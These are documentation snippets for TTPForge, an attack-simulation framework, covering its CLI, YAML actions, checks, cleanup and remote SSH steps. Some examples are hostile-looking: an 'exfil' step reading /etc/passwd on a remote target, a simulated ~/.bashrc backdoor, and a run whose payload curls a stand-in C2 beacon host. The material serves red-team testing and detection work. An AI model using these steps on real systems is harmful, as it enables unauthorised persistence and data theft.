### Install TTPForge Examples Repository

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/create_file.md

Install the `examples` TTP repository to experiment with TTPForge actions. Skip if the repo is already installed.

```bash
ttpforge install repo https://github.com/facebookincubator/TTPForge --name examples
```

--------------------------------

### Run Basic create_file TTP Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/create_file.md

Execute the basic `create_file` TTP example from the installed `examples` repository.

```bash
ttpforge run examples//actions/create-file/basic.yaml
```

--------------------------------

### Run TTPForge fetch_uri Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/fetch_uri.md

Execute the basic fetch_uri TTP example after installing the examples repository. This demonstrates the functionality of downloading a file using the fetch_uri action.

```bash
ttpforge run examples//actions/fetchuri/basic.yaml
```

--------------------------------

### Global Configuration File Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/repositories.md

Example structure of the ~/.ttpforge/config.yaml file.

```yml
---
repos:
  - name: examples
    path: repos/examples
    git:
      url: https://github.com/facebookincubator/TTPForge
  - name: forgearmory
    path: repos/forgearmory
    git:
      url: https://github.com/facebookincubator/forgearmory
```

--------------------------------

### Run TTPForge Example TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/http_request.md

Executes a specific TTP file from the installed examples repository. This command is used to test the http_request action.

```bash
ttpforge run examples//actions/http-request/get-parameters.yaml
```

--------------------------------

### Show Example TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/README.md

Examine the details of a specific example TTP from the 'examples' repository.

```bash
ttpforge show ttp examples//args/basic.yaml
```

--------------------------------

### Run TTPForge Example with Arguments

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Command-line example demonstrating how to run a TTPForge TTP, passing specific arguments for remote host, user, and key file.

```bash
ttpforge run examples//actions/inline/remote-ssh.yaml \
  --arg target_host=my-server.example.com \
  --arg target_user=root \
  --arg target_key_file=/path/to/id_rsa
```

--------------------------------

### Install and Initialize TTPForge

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Download the latest release, configure the environment, and initialize default repositories.

```bash
# Download and install latest TTPForge release
curl https://raw.githubusercontent.com/facebookincubator/TTPForge/main/dl-rl.sh | bash

# Add to PATH if needed
export PATH=$HOME/.local/bin:$PATH

# Initialize configuration with default repositories
ttpforge init

# Verify repositories are installed
ttpforge list repos

# List available TTPs
ttpforge list ttps
```

--------------------------------

### Run Example TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/README.md

Run a specified example TTP, providing arguments for string printing and execution control.

```bash
ttpforge run examples//args/basic.yaml \
  --arg str_to_print=hello \
  --arg run_second_step=true
```

--------------------------------

### Run TTPForge Expect Action Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/expect.md

Executes the 'expect' action example TTP. This TTP demonstrates automating interaction with an interactive Python script.

```bash
ttpforge run examples//actions/expect/expect.yaml
```

--------------------------------

### Run TTPForge Kill Process Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/kill_process.md

Runs the kill-process TTP example for either Unix or Windows systems.

```bash
ttpforge run examples//actions/kill-process/kill-process-[unix/windows].yaml
```

--------------------------------

### Basic Move Within Repository Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Renames a TTP file within the 'examples' repository.

```bash
ttpforge move examples//basic.yaml examples//basic-renamed.yaml
```

--------------------------------

### Setup and Run Pre-commit Hooks

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/dev/README.md

Configures a virtual environment and executes pre-commit hooks across all files.

```bash
python3 -m venv venv
. venv/bin/activate
pip3 install pre-commit
pre-commit run --all-files
```

--------------------------------

### List TTP Repositories

Source: https://github.com/facebookincubator/ttpforge/blob/main/README.md

List available TTP repositories, which should include 'examples' and 'forgearmory'.

```bash
ttpforge list repos
```

--------------------------------

### Mixed Format Move Examples

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Combine repository references and absolute paths for source and destination arguments.

```bash
ttpforge move examples//basic.yaml /home/user/repo/ttps/moved.yaml
```

```bash
ttpforge move /home/user/repo/ttps/basic.yaml examples//moved.yaml
```

--------------------------------

### TTPForge Dynamic Argument Completion Examples

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/shell-completion.md

Demonstrates dynamic shell completion for TTPForge commands, showing TTPs, repositories, and custom configurations.

```bash
ttpforge run examples//<TAB>                # Shows TTPs in examples repo
```

```bash
ttpforge enum ttps --repo <TAB>             # Shows: examples, forgearmory, meta-secure
```

```bash
ttpforge --config custom.yaml run <TAB>     # Works with custom configs
```

--------------------------------

### Configure remote cleanup actions

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/cleanup.md

Example YAML configuration demonstrating how to handle cleanup on remote hosts using default and explicit remote settings.

```yaml
steps:
  - name: drop-payload
    remote: target
    create_file: /tmp/payload.sh
    contents: echo "hello"
    cleanup: default              # runs on remote (inherits step's remote:)

  - name: run-payload
    remote: target
    inline: /tmp/payload.sh
    cleanup:
      remote: target              # explicit: cleanup runs on remote
      inline: rm -f /tmp/payload.sh

  - name: exfil
    remote: target
    inline: cat /etc/passwd
    cleanup:
      inline: rm -f /tmp/local-evidence.log   # no remote: → cleanup runs locally
```

--------------------------------

### Using Absolute Paths Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Moves a TTP file using absolute paths for both source and destination.

```bash
ttpforge move /home/user/repo/ttps/old.yaml /home/user/repo/ttps/new.yaml
```

--------------------------------

### Manage TTP Repositories

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/repositories.md

Commands for removing and installing TTP repositories.

```bash
ttpforge remove repo forgearmory
```

```bash
ttpforge install repo --name forgearmory https://github.com/facebookincubator/forgearmory
```

--------------------------------

### Install Fish Completion for TTPForge

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/shell-completion.md

Generate the TTPForge completion script for Fish and place it in the appropriate directory for automatic loading.

```fish
ttpforge completion fish > ~/.config/fish/completions/ttpforge.fish
```

--------------------------------

### Run Basic Inline Action TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/inline.md

Execute the basic inline action TTP from the examples repository. This demonstrates running a shell command using the `inline` action.

```bash
ttpforge run examples//actions/inline/basic.yaml
```

--------------------------------

### Manage TTPForge Repositories

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Manage TTP repositories using the TTPForge CLI, including listing, installing, and removing repositories.

```bash
# List installed repositories
ttpforge list repos

# Install a new repository
ttpforge install repo --name myrepo https://github.com/myorg/my-ttp-repo

# Remove a repository
ttpforge remove repo myrepo

# List all TTPs across repositories
ttpforge list ttps

```

--------------------------------

### Run edit_file replace TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/edit_file.md

Command to execute the replace example TTP.

```bash
ttpforge run examples//actions/edit-file/replace.yaml
```

--------------------------------

### Install PowerShell Completion for TTPForge

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/shell-completion.md

Generate the TTPForge completion script for PowerShell and then source it to enable completion in the current session.

```powershell
ttpforge completion powershell > ttpforge.ps1
. .\ttpforge.ps1
```

--------------------------------

### Platform-Specific TTP Execution with Golang Templates

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/templating.md

Illustrates how to use the `Platform` struct to create TTPs that adapt to different operating systems and architectures. This example demonstrates conditional output and dynamic download URIs.

```yaml
# ...
requirements:
  platforms:
    - os: linux
    - os: darwin
    - os: windows
steps:
  - name: hello_world
    inline: |
      {{ if eq .Platform.OS "windows" }}
        Write-Host "Hello Windows!"
      {{ else if eq .Platform.OS "linux" }}
        echo "Hello Linux!"
      {{ else if eq .Platform.OS "darwin" }}
        echo "Hello macOS!"
      {{ end }}
  - name: download_ttpforge
    description: Downloads the platform-appropriate release of TTPForge
    fetch_uri: https://github.com/facebookincubator/TTPForge/releases/
    download/v1.2.3/TTPForge_1.2.3_{{ .Platform.OS }}_{{ .Platform.Arch }}.tar.gz
    location: ttpforge.tar.gz
# ...
```

--------------------------------

### Command Check Examples

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/checks.md

Use these checks to execute commands and verify their exit codes and/or output. These are cross-platform compatible.

```yaml
checks:
  # Basic command success check
  - msg: "Command should succeed"
    command: "echo hello"
```

```yaml
checks:
  # Check specific exit code
  - msg: "File should not exist"
    command: "test -f /tmp/should-not-exist"
    expect_exit_code: 1
```

```yaml
checks:
  # Check output contains string
  - msg: "Service should be running"
    command: "systemctl is-active myservice"
    output_contains: "active"
```

```yaml
checks:
  # Check output does NOT contain string
  - msg: "No errors in log"
    command: "cat /var/log/app.log"
    output_not_contains: "ERROR"
```

```yaml
checks:
  # Check output matches regex
  - msg: "Version should match semantic versioning"
    command: "myapp --version"
    output_regex: "[0-9]+\\.[0-9]+\\.[0-9]+"
```

```yaml
checks:
  # Combine multiple conditions
  - msg: "Deployment successful with timestamp"
    command: "cat /tmp/deploy-status.txt"
    expect_exit_code: 0
    output_contains: "SUCCESS"
    output_regex: "[0-9]{4}-[0-9]{2}-[0-9]{2}"
```

--------------------------------

### Install TTPForge Release

Source: https://github.com/facebookincubator/ttpforge/blob/main/README.md

Download the latest TTPForge release using curl. The executable will be placed in $HOME/.local/bin/ttpforge.

```bash
curl \
https://raw.githubusercontent.com/facebookincubator/TTPForge/main/dl-rl.sh \
| bash
```

--------------------------------

### Troubleshoot TTPForge Completion

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/shell-completion.md

Commands to verify TTPForge configuration, test completion manually, and ensure repositories are installed.

```bash
cat ~/.ttpforge/config.yaml
```

```bash
ttpforge __complete run ""
```

```bash
ttpforge list repos
```

--------------------------------

### Install Bash Completion for TTPForge

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/shell-completion.md

Generate and source the TTPForge completion script for Bash. Add the sourcing command to your .bashrc for persistence.

```bash
ttpforge completion bash > ~/.ttpforge-completion.bash
echo 'source ~/.ttpforge-completion.bash' >> ~/.bashrc
source ~/.ttpforge-completion.bash
```

--------------------------------

### Path Exists Check Examples

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/checks.md

Use these checks to verify file existence, content integrity via checksums, content patterns, and file permissions.

```yaml
checks:
  # Basic file existence check
  - msg: "Payload file was not created"
    path_exists: /tmp/payload.txt
```

```yaml
checks:
  # File existence with SHA256 checksum verification
  - msg: "File exists but contents were modified"
    path_exists: /tmp/payload.txt
    checksum:
      sha256: 2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
```

```yaml
checks:
  # Check file contains expected content
  - msg: "Config file should contain setting"
    path_exists: /etc/app.conf
    content_contains: "enabled=true"
```

```yaml
checks:
  # Check file does NOT contain unwanted content
  - msg: "File should not contain debug flags"
    path_exists: /etc/app.conf
    content_not_contains: "DEBUG=1"
```

```yaml
checks:
  # Check file content matches regex
  - msg: "Version file should have proper format"
    path_exists: /tmp/version.txt
    content_regex: "v[0-9]+\\.[0-9]+\\.[0-9]+"
```

```yaml
checks:
  # Check file permissions (Unix/Linux/macOS)
  - msg: "Script should be executable"
    path_exists: /tmp/payload.sh
    permissions: "0755"
```

```yaml
checks:
  # Combine multiple checks
  - msg: "Malware file should exist with correct perms and content"
    path_exists: /tmp/malware.bin
    permissions: "0644"
    content_contains: "malicious_code"
    checksum:
      sha256: abc123...
```

--------------------------------

### Mixed Format Move Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Moves a TTP file using a repository reference for the source and an absolute path for the destination.

```bash
ttpforge move examples//basic.yaml /home/user/myrepo/ttps/basic.yaml
```

--------------------------------

### Move to Nested Directory Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Moves a TTP file into a nested directory within the same repository.

```bash
ttpforge move examples//basic.yaml examples//actions/basic/renamed.yaml
```

--------------------------------

### Install Zsh Completion for TTPForge

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/shell-completion.md

Generate and source the TTPForge completion script for Zsh. Add the sourcing command to your .zshrc for persistence.

```zsh
ttpforge completion zsh > ~/.ttpforge-completion.zsh
echo 'source ~/.ttpforge-completion.zsh' >> ~/.zshrc
source ~/.ttpforge-completion.zsh
```

--------------------------------

### Run edit_file append and delete TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/edit_file.md

Command to execute the append and delete example TTP.

```bash
ttpforge run examples//actions/edit-file/append-delete.yaml
```

--------------------------------

### Cross-Repository Move Example

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Move a TTP file from one repository to another. Repository names must be defined in your TTPForge configuration. References will be updated with absolute paths.

```bash
ttpforge move examples//basic.yaml forgearmory//imported/basic.yaml
```

--------------------------------

### Examine Repository Configuration

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/repositories.md

Commands and file structure for viewing repository search paths.

```bash
cat ~/.ttpforge/repos/examples/ttpforge-repo-config.yaml
```

```yml
---
ttp_search_paths:
  - example-ttps
```

--------------------------------

### Create a new TTP configuration

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/create.md

Initializes a new TTP YAML file with a metadata skeleton. Ensure the path is within an existing TTP repository.

```bash
ttpforge create ttp path/to/ttp.yaml
```

--------------------------------

### Initialize TTPForge Configuration

Source: https://github.com/facebookincubator/ttpforge/blob/main/README.md

Initialize TTPForge to create a configuration file at ~/.ttpforge/config.yaml and set up default TTP repositories.

```bash
ttpforge init
```

--------------------------------

### Key Authentication

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Use 'key' authentication by specifying the path to your private key file. If a corresponding certificate file exists, it will be automatically loaded.

```yaml
connect:
  host: target.example.com
  auth: key
  key_file: /path/to/id_rsa
  connection_name: target
```

--------------------------------

### Run Unit Tests

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/dev/README.md

Executes all unit tests within the project using the Go toolchain.

```bash
go test ./...
```

--------------------------------

### Define Create File Actions

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Create files on disk with specific permissions and overwrite behavior.

```yaml
---
api_version: 2.0
uuid: df306aab-5824-4e32-bd04-76fb49da6b17
name: create_file_basic
description: Create files on disk with specified permissions.
steps:
  - name: create-tmp-file
    create_file: /tmp/ttpforge_test_{{randAlphaNum 10}}
    contents: |
      This file was created by TTPForge.
      We can control permissions with the mode field.
    mode: 0600
    cleanup: default

  - name: create-overwritable-file
    create_file: /tmp/ttpforge_overwritable
    contents: |
      Using overwrite: true means existing files will be replaced.
    overwrite: true
    cleanup: default
```

--------------------------------

### Execute TTP with Arguments

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Run a TTPForge configuration file via the command line while providing argument values.

```bash
# Run with arguments
ttpforge run my-ttp.yaml \
  --arg required_string="hello" \
  --arg bool_flag=true \
  --arg int_value=42 \
  --arg choice_arg=option_b
```

--------------------------------

### Examine TTP Configuration

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/repositories.md

Displays the configuration details for a specific TTP reference.

```bash
ttpforge show ttp examples//cleanup/basic.yaml
```

--------------------------------

### Use Checks as Prerequisites

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/checks.md

Define checks at the start of a step sequence to ensure environment conditions are met before proceeding with sensitive operations.

```yaml
steps:
  - name: verify_target_exists
    description: "Verify target file exists before modification"
    print_str: "Checking for target file..."
    checks:
      - msg: "Target file must exist"
        path_exists: ~/.bashrc

  - name: modify_target
    description: "Now safe to modify since we verified it exists"
    inline: |
      echo 'export MALICIOUS_VAR=true' >> ~/.bashrc
```

--------------------------------

### Establish and Use a Named SSH Connection

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Demonstrates defining a connection with 'connect' and executing commands on that host using 'remote', while also showing a local step.

```yaml
steps:
  - name: setup-connection
    connect:
      host: my-server.example.com
      user: root
      auth: agent
      connection_name: my-server

  - name: enumerate_remote
    remote: my-server
    inline: whoami && hostname

  # This step runs locally (no remote: field)
  - name: local_step
    inline: echo "running on local machine"
```

--------------------------------

### Testing TTPs

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Define test cases to validate TTP functionality and ensure compatibility. This example shows argument definition with types and choices.

```yaml
---
api_version: 2.0
uuid: c3d4e5f6-a7b8-9012-cdef-testing12345
name: testable_ttp
description: TTP with comprehensive test cases.
args:
  - name: target_path
    type: path
    default: /tmp/test_target
  - name: action_type
    choices:
      - create
      - modify
      - delete
    default: create

```

--------------------------------

### Run Integration Tests

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/dev/README.md

Executes integration tests against the compiled binary.

```bash
./integration_tests.sh ./ttpforge
```

--------------------------------

### Connect Step Configuration

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Defines the structure and parameters for establishing a named SSH connection.

```APIDOC
## [CONNECT] [SSH Connection]

### Description
Establishes a named SSH connection that can be reused across multiple steps. It connects at execution time to validate authentication.

### Request Body
- **host** (string) - Required - The hostname or IP address of the remote target.
- **connection_name** (string) - Required - The name used to reference this connection from remote fields.
- **protocol** (string) - Optional - The protocol to use (default: ssh).
- **port** (int) - Optional - The SSH port (default: 22).
- **user** (string) - Optional - The SSH username (default: current user).
- **auth** (string) - Optional - Authentication method: agent, key, password, password_env (default: agent).
- **key_file** (string) - Optional - Path to SSH private key (required if auth is key).
- **password** (string) - Optional - SSH password (required if auth is password).
- **password_env** (string) - Optional - Env var name for password (required if auth is password_env).
- **known_hosts** (string) - Optional - Path to known_hosts file.
- **jump_host** (string) - Optional - Bastion host in host:port format.
- **shell** (string) - Optional - Shell type: posix, powershell, cmd (default: posix).
```

--------------------------------

### Build TTPForge Binary

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/dev/README.md

Compiles the project source code into a binary named ttpforge.

```bash
go build -o ttpforge
```

--------------------------------

### Fetch URI Action

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Downloads files from URLs to disk without requiring external shell utilities.

```yaml
---
api_version: 2.0
uuid: fe7f257f-19d2-4324-8590-bfddeb1156e2
name: fetch_uri_demo
description: Download files from URLs to disk.
steps:
  - name: download_file
    fetch_uri: https://raw.githubusercontent.com/facebookincubator/TTPForge/main/README.md
    location: /tmp/ttpforge_downloaded_{{randAlphaNum 10}}
    cleanup: default

  - name: download_with_proxy
    fetch_uri: https://example.com/payload.bin
    location: /tmp/payload.bin
    proxy: http://localhost:8080
    overwrite: true
    cleanup: default
```

--------------------------------

### Configure Default and Custom Cleanup Actions

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Demonstrates how cleanup actions inherit remote targeting or can be explicitly configured for local or remote execution.

```yaml
steps:
  - name: drop-payload
    remote: target
    create_file: /tmp/payload.sh
    contents: echo "hello"
    cleanup: default              # inherits remote: target

  - name: run-payload
    remote: target
    inline: /tmp/payload.sh
    cleanup:
      remote: target              # explicit remote for cleanup
      inline: rm -f /tmp/payload.sh

  - name: exfil
    remote: target
    inline: cat /etc/passwd
    cleanup:
      inline: rm -f /tmp/local-evidence.log   # no remote: → runs locally
```

--------------------------------

### Repository Reference Format

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Specify source and destination using the `repo_name//path/to/ttp.yaml` format. The destination path will be created if it doesn't exist. If moving within the same repository, the destination `repo_name` can be omitted.

```bash
ttpforge move examples//actions/inline/basic.yaml examples//actions/inline/basic-new.yaml
```

```bash
ttpforge move examples//actions/inline/basic.yaml //actions/inline/basic-new.yaml
```

--------------------------------

### Execute a TTP

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/repositories.md

Runs a TTP by providing its reference path.

```bash
ttpforge run examples//cleanup/basic.yaml
```

--------------------------------

### Expect Action

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Automates interactions with command-line programs by scripting responses to specific prompts.

```yaml
---
api_version: 2.0
uuid: 7be9d2be-49be-4114-8618-306a62eedec2
name: expect_demo
description: Automate interaction with interactive scripts.
steps:
  - name: create_interactive_script
    inline: |
      cat > /tmp/interactive.py << 'EOF'
      print("Enter your name:")
      name = input()
      print("Enter your password:")
      password = input()
      print(f"Hello {name}, authentication successful!")
      EOF

  - name: run_interactive_script
    expect:
      inline: python3 /tmp/interactive.py
      responses:
        - prompt: "Enter your name:"
          response: "admin"
        - prompt: "Enter your password:"
          response: "secret123"
    cleanup:
      inline: rm -f /tmp/interactive.py
```

--------------------------------

### Connect to Windows Host with PowerShell

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Configures a connection to a Windows host, specifying 'powershell' as the shell for cross-platform compatibility.

```yaml
steps:
  - name: connect-windows
    connect:
      host: windows-server.example.com
      user: Administrator
      auth: key
      key_file: ~/.ssh/windows_key
      shell: powershell
      connection_name: winbox
```

--------------------------------

### Reference Connections with Template Variables

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Uses TTP arguments to dynamically configure connection parameters and perform remote file creation.

```yaml
steps:
  - name: setup-connection
    connect:
      host: "{{ .Args.target_host }}"
      user: "{{ .Args.target_user }}"
      auth: key
      key_file: "{{ .Args.key_file }}"
      connection_name: target

  - name: step_one
    remote: target
    inline: whoami

  - name: step_two
    remote: target
    inline: hostname

  - name: drop_file
    remote: target
    create_file: /tmp/payload.sh
    contents: |
      #!/bin/bash
      echo "hello from $(hostname)"
    mode: 0755
    cleanup: default
```

--------------------------------

### Remote Step Execution

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

How to execute commands on a previously defined remote connection.

```APIDOC
## [EXECUTE] [Remote Step]

### Description
Executes a step on a remote host identified by a previously established connection name.

### Request Body
- **remote** (string) - Required - The connection_name defined in a connect step.
- **inline** (string) - Optional - The command to execute on the remote host.
- **create_file** (string) - Optional - Path to create a file on the remote host.
- **contents** (string) - Optional - Content for the created file.
- **mode** (string) - Optional - File permissions mode.
- **cleanup** (string) - Optional - Cleanup policy.
```

--------------------------------

### Basic Move Command Syntax

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/move.md

Use this command to move a TTP file from a source to a destination within the same repository. Ensure both paths are valid TTPForge repository paths.

```bash
ttpforge move [source] [destination]
```

--------------------------------

### Perform a basic file copy

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/copy_path.md

Copies a single file from a source path to a destination path.

```yaml
steps:
  - name: copy_config
    copy_path: /etc/app/config.yaml
    to: /tmp/config_backup.yaml
```

--------------------------------

### Run TTPForge Tests

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Execute TTPForge tests using the CLI, either all tests for a TTP or a specific test case by name.

```bash
# Run all tests for a TTP
ttpforge test examples//tests/with-args.yaml

# Run specific test case
ttpforge test examples//tests/with-args.yaml --test-name with_custom_args

```

--------------------------------

### List Available TTPs

Source: https://github.com/facebookincubator/ttpforge/blob/main/README.md

List all available TTPs that can be run using TTPForge.

```bash
ttpforge list ttps
```

--------------------------------

### Enumerate TTP Dependencies

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/enum.md

This command lists all TTPs that depend on a specified TTP, along with a total count of dependencies. Use the --verbose flag for more details.

```bash
ttpforge enum dependencies [repo_name//path/to/ttp] --verbose
```

--------------------------------

### Execute TTPs

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Run TTPs from repositories using specific references, with support for arguments and cleanup configuration.

```bash
# Run a TTP from the examples repository
ttpforge run examples//cleanup/basic.yaml

# Run a TTP with command-line arguments
ttpforge run examples//args/basic.yaml \
  --arg str_to_print=hello \
  --arg run_second_step=true

# Examine a TTP before running
ttpforge show ttp examples//args/basic.yaml

# Run with delayed cleanup (30 seconds)
ttpforge run examples//cleanup/basic.yaml --cleanup-delay-seconds 30

# Run without cleanup for analysis
ttpforge run examples//cleanup/basic.yaml --no-cleanup
```

--------------------------------

### Using Pipelines for Command Chaining in TTPForge

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/templating.md

Demonstrates how to chain commands using pipelines (`|`) in TTPForge actions. Piped parameters are passed as the last argument to the subsequent function.

```yaml
# ...
args:
  - name: input_file
    type: path
steps:
  - name: create_result_dir
    description: Uses the path functions and pipelines to manipulate path arguments
    inline: |
      mkdir {{ osDir .Args.input_file | printf "%q/results" }}
      cd {{ osDir .Args.input_file | printf "%q/results" }}
  - name: generate_rand_file
    description: Generate a random base64-encoded file of a given size
    inline: |
      echo "{{ randBytes 1024 | b64enc }}" > rand.txt
# ...
```

--------------------------------

### Run Markdownlint via Act

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/dev/README.md

Executes the markdownlint CI workflow locally using the act tool.

```bash
act -W .github/workflows/markdownlint.yaml
```

--------------------------------

### Specify Requirements

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Define platform compatibility and superuser privilege requirements for a TTP.

```yaml
---
api_version: 2.0
uuid: a1b2c3d4-e5f6-7890-abcd-requirements12
name: requirements_demo
description: Demonstrate platform and privilege requirements.
requirements:
  # Specify compatible platforms
  platforms:
    - os: linux
    - os: darwin
    - os: windows
      arch: amd64
  # Require superuser privileges
  superuser: true
steps:
  - name: privileged_operation
    inline: |
      echo "Running as: $(whoami)"
      id
```

--------------------------------

### TTPForge inline Action Configuration

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/inline.md

Details on how to configure the inline action within a TTP YAML file.

```APIDOC
## inline Action

### Description
The `inline` action executes a provided shell command. By default, it uses `bash` with `-o errexit` enabled to ensure that command failures terminate the step.

### Fields
- **inline** (string) - Required - The command to be executed.
- **executor** (string) - Optional - The program used to run the command. The command is sent to the program's STDIN. Defaults to `bash`.

### Notes
- Each `inline` action runs in an isolated shell instance.
- Sharing shell variables between different `inline` steps is not supported.

### Configuration Example
```yaml
action: inline
inline: echo "Hello World"
executor: bash
```
```

--------------------------------

### Implementing Conditional Logic in TTPForge

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/templating.md

Shows how to use Golang's `if`, `else if`, and `else` statements to control TTP execution flow based on argument values. Remember to close blocks with `{{ end }}`.

```yaml
# ...
args:
  - name: brew
    description: list installed software via brew
    type: bool
    default: false

  - name: mdfind
    description: list installed software via mdfind
    type: bool
    default: false
steps:
  {{ if .Args.brew }}
  - name: brew
    description: Enumerating software installed using brew.
    inline: brew list
  {{ else if .Args.mdfind }}
  - name: mdfind
    description: Enumerating software installed using mdfind.
    inline: mdfind "kMDItemContentType == 'com.apple.application-bundle'"
  {{ else }}
  - name: invalid
    description: Invalid Option
    print_str: "Invalid Option, Try Again!"
  {{ end }}
# ...
```

--------------------------------

### Execute TTPForge Attack Simulation

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Execute TTPForge attack simulations using the CLI, with options for dry runs, custom arguments, and cleanup delays.

```bash
# Dry run to validate without execution
ttpforge run dotfile-backdoor.yaml --dry-run

# Execute with custom payload
ttpforge run dotfile-backdoor.yaml \
  --arg target_file_path=~/.bashrc \
  --arg payload_cmd="curl -s http://c2.example.com/beacon"

# Execute with delayed cleanup for analysis
ttpforge run dotfile-backdoor.yaml --cleanup-delay-seconds 60

```

--------------------------------

### Enumerate TTPs with Filters

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/enum.md

Use this command to list TTPs based on platform, tactic, technique, sub-technique, or author. Platforms can be filtered by single or comma-separated values.

```bash
ttpforge enum ttps --platform <platform1>,<platform2> --repo <repo> \
  --tactic <tactic> --technique <technique> --sub-tech <subtechnique> \
  --author <author> --verbose
```

--------------------------------

### Define Cleanup Actions

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Specify cleanup tasks that execute in LIFO order upon step completion or failure.

```yaml
---
api_version: 2.0
uuid: efb70470-4365-4be5-83e0-a009c0f2d49a
name: cleanup_demo
description: Demonstrate automatic cleanup execution.
steps:
  - name: first_step
    print_str: "Step 1 - cleanup will run last"
    cleanup:
      print_str: "Cleaning up step 1"

  - name: second_step_no_cleanup
    print_str: "Step 2 - no cleanup defined"

  - name: third_step
    print_str: "Step 3 - cleanup will run first"
    cleanup:
      description: Custom cleanup using inline action
      inline: echo "Cleaning up step 3"

  # Use default cleanup for file operations
  - name: create_file_with_auto_cleanup
    create_file: /tmp/auto_cleaned_file
    contents: "This file will be automatically deleted"
    cleanup: default
```

--------------------------------

### Create TTPs

Source: https://context7.com/facebookincubator/ttpforge/llms.txt

Generate skeleton YAML configurations or unique identifiers for new TTPs.

```bash
# Create a new TTP file with auto-generated UUID
ttpforge create ttp path/to/my-ttp.yaml

# Generate a UUID manually
ttpforge create uuid
```

--------------------------------

### Manage Multiple SSH Connections

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/remote.md

Establishes distinct connections to different hosts and executes specific commands on each.

```yaml
steps:
  - name: connect-web
    connect:
      host: web-server.example.com
      user: deploy
      auth: key
      key_file: ~/.ssh/deploy_key
      connection_name: web

  - name: connect-db
    connect:
      host: db-server.example.com
      user: admin
      auth: agent
      connection_name: db

  - name: check-web
    remote: web
    inline: curl -s localhost:8080/health

  - name: check-db
    remote: db
    inline: psql -c "SELECT 1"
```

--------------------------------

### Action: fetch_uri

Source: https://github.com/facebookincubator/ttpforge/blob/main/docs/foundations/actions/fetch_uri.md

Details for the fetch_uri action used to download files via HTTP.

```APIDOC
## Action: fetch_uri

### Description
The `fetch_uri` action downloads files via HTTP to disk without invoking a shell.

### Parameters
- **fetch_uri** (string) - Required - The URI to the file you wish to download.
- **location** (string) - Required - The path to save the file on disk.
- **proxy** (string) - Optional - The HTTP proxy URL to use for the request.
- **overwrite** (bool) - Optional - Whether the file should be overwritten if it already exists.
